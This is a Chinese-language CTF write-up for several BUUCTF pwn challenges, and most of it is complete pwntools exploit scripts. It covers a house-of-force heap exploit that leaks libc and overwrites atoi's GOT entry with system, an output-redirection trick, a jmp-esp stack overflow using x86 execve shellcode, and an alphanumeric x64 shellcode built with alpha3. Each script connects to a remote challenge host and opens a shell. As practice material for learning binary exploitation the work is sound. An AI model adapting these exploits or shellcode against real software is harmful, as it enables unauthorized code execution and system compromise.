有一个off-by-null漏洞,
这里只有name输满了0x40就会打印出第一次分配的地址
这里只要长度都输入了0x40,并且v2会有分配的地址,这样在strcpy(v2, &s)的时候会拷贝0x40+0x40+0x4个字节,这样v3中的数据就会覆盖top chunk的size
add中没有大小限制
add中因为malloc加了4导致我们无法利用unlink
由于本题可以控制top chunk大小以及分配大小不受限制,我们考虑使用house of force
利用原理可以看这篇文章:BUUCTF-PWN gyctf_2020_force(house of force)
过程:
from pwn import *
r = remote("node3.buuoj.cn", 29198)
#r = process('./bcloud_bctf_2016')
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x08048772
x/10wx 0x0804B120
c
''')
elf = ELF('./bcloud_bctf_2016')
libc = ELF('./libc/libc-2.23_32.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
puts = elf.plt['puts']
read_got = elf.got['read']
atoi_got = elf.got['atoi']
free_got = elf.got['free']
size = 0x0804B0A0
note = 0x0804B120
menu = "option--->>\n"
def add(size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Input the length of the note content:\n")
r.sendline(str(size))
r.recvuntil("Input the content:\n")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Input the id:\n")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Input the id:\n")
r.sendline(str(index))
r.recvuntil("Input the new content:\n")
r.send(content)
r.recvuntil("Input your name:\n")
r.send('a'*0x40)
r.recvuntil('a'*0x40)
heap_base = u32(r.recv(4)) - 8
success("heap:"+hex(heap_base))
r.recvuntil("Org:\n")
r.send('a'*0x40)
r.recvuntil("Host:\n")
r.sendline(p32(0xffffffff)+'\n')
payload = 'a' * 0x80 + p32(atoi_got) + p32(free_got) + p32(atoi_got)
length = size - 8 - (heap_base + 0x48*3) - 8
add(length, '')
add(len(payload), payload)
edit(1, p32(puts)+'\n')
delete(0)
atoi_addr = u32(r.recv(4))
libc_base = atoi_addr - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
success("libc_base:"+hex(libc_base))
success("read:" + hex(atoi_addr))
success("system:" + hex(system))
edit(2, p32(system)+'\n')
r.recvuntil(menu)
r.sendline('/bin/sh')
r.interactive()
stdout 和 stderr 都被关闭了
把 stdout 重定向到 stdin 即可
from pwn import *
r = remote("node3.buuoj.cn", 26767)
r.sendline("exec 1>&0")
r.interactive()
缓冲区长度为0x20,然而asm(shellcraft.sh())的长度为0x2c,不满足要求,所以只好去参考一下大佬的WP了
思路就是先把shellcode写入缓冲区,然后padding,并把返回地址改为jmp esp,然后更上asm(‘sub esp,0x28;jmp esp’)
from pwn import *
r = remote("node3.buuoj.cn", 28409)
context(arch = 'i386', os = 'linux', log_level = 'debug')
r.recvuntil("What's your name?\n")
jmp_esp = 0x08048504
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
payload = shellcode_x86.ljust(0x24, '\x90') + p32(jmp_esp) + asm('sub esp,0x28;jmp esp')
print payload
r.sendline(payload)
r.interactive()
又是一道写shellcode的题目
不知道为什么IDA反编译不了,只能看汇编分析了
缓冲区大小0x400,无法覆盖返回地址
之后还有判断,shellcode的每个byte必须在如下范围:
0x60-0x7a, 0x2f-0x5a
应该就是string.printable吧
这里我们利用工具生成shellcode,先生成shellcode
f = open("sc.bin", 'w')
payload = asm(shellcraft.sh())
f.write(payload)
f.close()
然后利用alpha3生成题目需要的shellcode(感谢TaQini大佬的分享)
git clone https://github.com/TaQini/alpha3.git
cd alpha3
python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin" > out.bin
最后发送过去就行
from pwn import *
r = remote("node3.buuoj.cn", 28997)
context(arch = 'amd64', os = 'linux', log_level = 'debug')
r.recvuntil("Show me your magic!\n")
shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
payload=shellcode_64
r.send(payload)
r.interactive()